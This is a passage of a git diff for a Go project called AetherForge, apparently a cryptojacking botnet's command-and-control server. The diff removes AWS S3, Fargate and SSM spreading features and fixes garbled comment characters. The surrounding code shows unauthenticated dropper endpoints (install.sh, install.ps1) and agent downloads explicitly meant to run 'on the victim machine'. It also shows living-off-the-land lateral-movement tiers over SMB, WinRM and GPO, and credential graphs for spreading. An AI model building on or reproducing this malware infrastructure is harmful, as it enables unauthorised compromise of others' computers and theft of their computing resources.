{AgentID: "c", Subnet: "10.0.0"}, + {AgentID: "d", Subnet: "10.0.0"}, + } + got := PickLANNeighborPeers(peers, "10.0.0", 3) + if len(got) != 3 { + t.Fatalf("len=%d", len(got)) + } +} + +func TestParseSwarmMagnetToken(t *testing.T) { + m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe" + if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" { + t.Fatalf("token=%q", tok) + } } diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go index 66d6074..8249b88 100644 --- a/agent/deploy/lotl_tiers.go +++ b/agent/deploy/lotl_tiers.go @@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{ "winrm", "linux", "gpo", - "ssm_document", } // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty. @@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string { "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, - "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {}, + "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/server/config.go b/server/config.go index d4dab4f..c7dd18a 100644 --- a/server/config.go +++ b/server/config.go @@ -1,4 +1,4 @@ -package main +package main import ( "encoding/json" @@ -9,7 +9,6 @@ import ( "strings" "crypto-miner-server/internal/alerts" - "crypto-miner-server/internal/erasure" ) type Config struct { @@ -108,20 +107,6 @@ type ServerSettings struct { ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` // FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet). FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` - AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"` - AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"` - AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"` - AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"` - AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"` - AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"` - AWSAccountID string `json:"aws_account_id,omitempty"` - FargateBurstCampaign bool `json:"fargate_burst_campaign"` - FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"` - FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"` - CloudMapNamespace string `json:"cloud_map_namespace,omitempty"` - CloudMapService string `json:"cloud_map_service,omitempty"` - PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"` - EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -1006,15 +991,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "fleet_torrent_enabled") { dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled } - if in(srvKeys, "fargate_burst_campaign") { - dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign - } - if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 { - dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours - } - if in(srvKeys, "fargate_burst_expires_at") { - dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt - } if in(srvKeys, "ai_endpoint") { dst.Server.AIEndpoint = src.Server.AIEndpoint } @@ -1132,32 +1108,6 @@ func defaultServiceDeployAllowlist() map[string]ServiceDeployLane { } } -func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings { - if c == nil { - return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{}) - } - return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{ - S3Bucket: c.Server.AWSS3ShardBucket, - CloudFrontDomain: c.Server.AWSCloudFrontDomain, - Region: c.Server.AWSS3ShardRegion, - }) -} - -func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig { - if c == nil { - return erasure.S3ShardConfig{} - } - return erasure.S3ShardConfig{ - ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket), - ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion), - CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket), - CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion), - CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain), - ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN), - ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID), - } -} - func (c *Config) PoolURL() string { proto := "stratum+tcp" if c.Pool.UseTLS { diff --git a/server/internal/api/cloud_instance_meta.go b/server/internal/api/cloud_instance_meta.go new file mode 100644 index 0000000..bc43285 --- /dev/null +++ b/server/internal/api/cloud_instance_meta.go @@ -0,0 +1,92 @@ +package api + +import ( + "strings" + + "crypto-miner-server/internal/models" +) + +type CloudInstanceMeta struct { + VpcID string `json:"vpc_id,omitempty"` + SubnetID string `json:"subnet_id,omitempty"` + Region string `json:"region,omitempty"` +} + +func (m CloudInstanceMeta) present() bool { + return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != "" +} + +func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta { + return CloudInstanceMeta{ + VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region), + } +} + +func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) { + meta = normalizeCloudInstanceMeta(meta) + if !meta.present() { + return + } + h.mu.Lock() + tel, ok := h.agentLiveTelemetry[agentID] + if !ok { + tel = map[string]interface{}{} + h.agentLiveTelemetry[agentID] = tel + } + tel["cloud_instance_meta"] = map[string]interface{}{ + "vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region, + } + h.mu.Unlock() +} + +func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta { + if tel, ok := h.agentLiveTelemetry[agentID]; ok { + if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok { + meta := CloudInstanceMeta{} + if v, ok := raw["vpc_id"].(string); ok { + meta.VpcID = v + } + if v, ok := raw["subnet_id"].(string); ok { + meta.SubnetID = v + } + if v, ok := raw["region"].(string); ok { + meta.Region = v + } + return normalizeCloudInstanceMeta(meta) + } + } + return CloudInstanceMeta{} +} + +func primarySeederScope(clientIP string, meta CloudInstanceMeta) string { + if strings.TrimSpace(meta.VpcID) != "" { + return strings.TrimSpace(meta.VpcID) + } + return subnetPrefix24(clientIP) +} + +func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool { + meta := h.agentCloudMetaLocked(agentID) + if meta.VpcID != "" { + return meta.VpcID == scope + } + return subnetPrefix24(h.agentIPLocked(agentID)) == scope +} + +func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) { + if agent == nil { + return + } + meta := h.agentCloudMetaLocked(agentID) + if !meta.present() { + return + } + agent.CloudVpcID = meta.VpcID + agent.CloudSubnetID = meta.SubnetID + agent.CloudRegion = meta.Region + if role != "seeder" || primaryPick == "" { + return + } + primary := primaryPick == agentID + agent.VPCPrimarySeeder = &primary +} diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index 46e7db6..52cd770 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -1,7 +1,6 @@ -package api +package api import ( - "context" "crypto/hmac" "crypto/sha256" "encoding/hex" @@ -14,7 +13,6 @@ import ( "strings" dbpkg "crypto-miner-server/internal/db" - "crypto-miner-server/internal/cloudmap" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" @@ -74,7 +72,6 @@ type DeployPlanBody struct { ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"` ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"` - SSMDocument string `json:"ssm_document,omitempty"` } type deployPlanRequest struct { @@ -105,10 +102,8 @@ type DeployPlanHandler struct { fleetSecret func() string allowlist func() map[string]ServiceDeployLane pathTracer *PathTracerHandler - erasureEnabled func() bool - erasureShards *erasure.ShardStore - awsSwarmSettings func() erasure.AWSSwarmSettings - awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore + erasureEnabled func() bool + erasureShards *erasure.ShardStore } func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler { @@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled } } -func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) { - h.awsSwarmSettings = settings - h.awsShardStore = store -} - // POST /api/v1/agent/deploy-plan func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) { var req deployPlanRequest @@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan case "spread_smb_unc": body.UNCPath = strings.TrimSpace(req.UNCPath) body.MaxHosts = 64 - case "ssm_document": - bundle, err := h.buildSSMSpreadBundle(req, serverURL) - if err != nil { - return DeployPlanBody{}, err - } - body.SSMDocument = bundle.Document default: return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) } body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) - h.attachCloudMapRouteVia(&body) if err := h.attachErasurePlan(req, serverURL, &body); err != nil { return DeployPlanBody{}, err } @@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s if body.SpreadRouteHint != nil { body.SpreadRouteHint.ErasureLanesEnabled = true } - shards := shardsFromStore(h.erasureShards, plan.ShardToken) - hashes := erasure.ShardContentHashes(shards) - if h.awsSwarmSettings != nil && h.awsShardStore != nil { - cfg := h.awsSwarmSettings() - if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() { - result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes) - if err != nil { - return err - } - if result != nil { - for i := range plan.Shards { - if i < len(result.EdgeURLs) { - plan.Shards[i].EdgeURL = result.EdgeURLs[i] - } - } - if body.SpreadRouteHint == nil { - body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} - } - body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet - body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs - } - } - } - if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" { - if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil { - if body.SpreadRouteHint == nil { - body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} - } - if body.SpreadRouteHint.SwarmMagnet == "" { - body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet - } - if len(body.SpreadRouteHint.ShardManifestURLs) == 0 { - body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs - } + if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil { + if body.SpreadRouteHint == nil { + body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} } + body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet + body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs } return nil } @@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin expected := hex.EncodeToString(mac.Sum(nil)) return hmac.Equal([]byte(expected), []byte(signature)) } - -func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) { - namespace = "prod.local" - service = "seeder" - if h.dataDir == "" { - return namespace, service - } - cfgPath := filepath.Join(h.dataDir, "config.json") - data, err := os.ReadFile(cfgPath) - if err != nil { - return namespace, service - } - var payload struct { - Server struct { - CloudMapNamespace string `json:"cloud_map_namespace"` - CloudMapService string `json:"cloud_map_service"` - } `json:"server"` - } - if json.Unmarshal(data, &payload) != nil { - return namespace, service - } - if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" { - namespace = ns - } - if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" { - service = svc - } - return namespace, service -} - -func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) { - if body == nil { - return - } - ns, svc := h.cloudMapSettings() - routeVia := cloudmap.SeederDNSName(svc, ns) - if routeVia == "" { - return - } - if body.SpreadRouteHint == nil { - body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} - } - if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" { - body.SpreadRouteHint.RouteVia = routeVia - } -} diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 5f54230..9d71734 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { dropperHandler := NewDropperHandler(database, dataDir, nil) fleetAIHandler := NewFleetAIHandler(cfg, database) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { @@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub dropperHandler := NewDropperHandler(database, dataDir, nil) fleetAIHandler := NewFleetAIHandler(cfg, database) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index db50083..375d505 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -27,7 +27,7 @@ import ( ) // authSessionCache avoids running bcrypt on every API request. -// Key: SHA-256(user+":"+password) hex ? value: expiry time. +// Key: SHA-256(user+":"+password) hex — value: expiry time. // Entries are valid for authCacheTTL after the last successful login. // Bcrypt only runs on cache miss or expiry. var ( @@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) { func formatLoginBanner(creds map[string]string) string { var b strings.Builder - b.WriteString("\n????????????????????????????????????????????????????\n") - b.WriteString("? AetherForge ? Dashboard Login ?\n") - b.WriteString("? ?\n") + b.WriteString("\n╔══════════════════════════════════════════════════╗\n") + b.WriteString("║ AetherForge — Dashboard Login ║\n") + b.WriteString("║ ║\n") users := make([]string, 0, len(creds)) for user := range creds { users = append(users, user) @@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string { sort.Strings(users) for _, user := range users { pass := creds[user] - fmt.Fprintf(&b, "? Username : %-34s?\n", user) - fmt.Fprintf(&b, "? Password : %-34s?\n", pass) - b.WriteString("? ?\n") + fmt.Fprintf(&b, "║ Username : %-34s║\n", user) + fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) + b.WriteString("║ ║\n") } - b.WriteString("? Also saved in data/login-credentials.json ?\n") - b.WriteString("? Change passwords in Calibrate ? Users. ?\n") - b.WriteString("????????????????????????????????????????????????????\n") + b.WriteString("║ Also saved in data/login-credentials.json ║\n") + b.WriteString("║ Change passwords in Calibrate → Users. ║\n") + b.WriteString("╚══════════════════════════════════════════════════╝\n") return b.String() } @@ -395,7 +395,7 @@ func saveUser(username, password string) error { // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch -// must not trigger that ? only bare browser navigations without these headers should. +// must not trigger that — only bare browser navigations without these headers should. func isSPAAuthRequest(r *http.Request) bool { return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" } @@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { path := r.URL.Path // Health check and one-liner installer endpoints are always open. - // NOTE: build download/artifact routes are intentionally NOT in this list ? + // NOTE: build download/artifact routes are intentionally NOT in this list — // they require fleet-secret or Basic Auth (see isDownload block below). if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || @@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // in the X-Fleet-Secret header instead of Basic auth. This ensures only // legitimately forged agents can call these endpoints. - // A missing or empty fleet secret is always rejected ? the server auto- + // A missing or empty fleet secret is always rejected — the server auto- // generates one at startup so this state should never occur in production. if strings.HasPrefix(path, "/api/v1/agent/") { fleetSecretForAgentPathsMu.RLock() @@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { return } - // Fast path ? skip bcrypt if this credential pair was recently validated. + // Fast path — skip bcrypt if this credential pair was recently validated. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. if !authCacheHit(user, pass) { usersMu.RLock() @@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } - // Credential verified ? cache it for the next few minutes. + // Credential verified — cache it for the next few minutes. authCacheSet(user, pass) } @@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) version := "AetherForge" @@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler AllowCredentials: false, })) - // REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open) + // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { r.Use(basicAuthMiddleware) h := NewHandler(database) @@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Config r.Get("/config", configHandler.ServeHTTP) r.Put("/config", configHandler.ServeHTTP) - if erasureSwarmHandler != nil { - r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest) - r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON) - } // Builder r.Post("/builder/build", builderHandler.ServeHTTP) @@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin) r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper) r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate) - r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate) - r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection) - r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst) r.Get("/emberwake/notes", spreadHandler.GetNotes) r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) - r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) - r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout) - r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout) r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias } if wsHub != nil { @@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) - // Fleet secret rotation ? generates a new secret, saves config, kicks all agents. + // Fleet secret rotation — generates a new secret, saves config, kicks all agents. // Forged agents with the old secret will be rejected until re-forged. r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { if rotateSecretFn == nil { @@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) - // Deck backup ? authenticated full backup ZIP (config + DB + users) + // Deck backup — authenticated full backup ZIP (config + DB + users) backupH := NewBackupHandler(dataDir, version) r.Get("/backup", backupH.ServeHTTP) - // Path Tracer ? on-demand WireGuard chain sessions + // Path Tracer — on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/discover", pathTracerHandler.Discover) @@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) } - // Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header). + // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) @@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) - // Public builds (also bypass auth in middleware ? listed here for chi routing) + // Public builds (also bypass auth in middleware — listed here for chi routing) if publicHandler != nil { r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) @@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) - r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot) - } - if spreadHandler != nil { - r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition) - r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript) - r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip) } }) @@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) - // One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate) + // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) if dropperHandler != nil { r.Get("/get", dropperHandler.ServeGet) r.Get("/install.sh", dropperHandler.ServeSh) @@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/install.command", dropperHandler.ServeCommand) } - // SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts + // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts // dropped by Seek Mode can fetch and run the agent on the victim machine. // Unauthenticated (the drop URL itself is the secret). r.Get("/api/download/agent-windows", serveAgentBinary("windows")) @@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) { // exe so it works both from the USB bundle and from a compiled dev build. // // Filename convention (same as what the build pipeline produces): -// - windows ? crypto-miner-agent.exe -// - mac/linux ? crypto-miner-agent (no extension) +// - windows → crypto-miner-agent.exe +// - mac/linux → crypto-miner-agent (no extension) // agentBinarySearchDir returns the directory used to locate bundled agent binaries. // Tests may override this to point at a temp tree instead of os.Executable()'s dir. var agentBinarySearchDir = func() (string, error) { diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index 6efa180..5e6f74e 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index d4bdbdb..5459dcf 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -28,10 +28,6 @@ type ServerPolicy struct { ErasureLanesEnabled bool // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. FleetTorrentEnabled bool - AwsS3ShardRegion string - AwsCloudFrontDomain string - FargateBurstCampaign bool - FargateBurstTTLHours int // StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on. StrainHospiceWinRateThreshold float64 // StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies. diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go index f55f56a..9975059 100644 --- a/server/internal/api/service_deploy.go +++ b/server/internal/api/service_deploy.go @@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ "Server": {Lane: "spread_smb_unc", Priority: 45}, "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, "ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, - "AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"}, - "amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"}, } // NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids. @@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin lane.Template = "gpo" case "linux_lotl": lane.Template = "linux-lotl" - case "ssm_document": - lane.Template = "ssm-document" } } out[name] = lane diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go index 919b9d9..24857b9 100644 --- a/server/internal/api/spread_handler.go +++ b/server/internal/api/spread_handler.go @@ -1,4 +1,4 @@ -package api +package api import ( "encoding/json" @@ -12,60 +12,17 @@ import ( "time" dbpkg "crypto-miner-server/internal/db" - "crypto-miner-server/internal/erasure" "github.com/go-chi/chi/v5" ) // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit 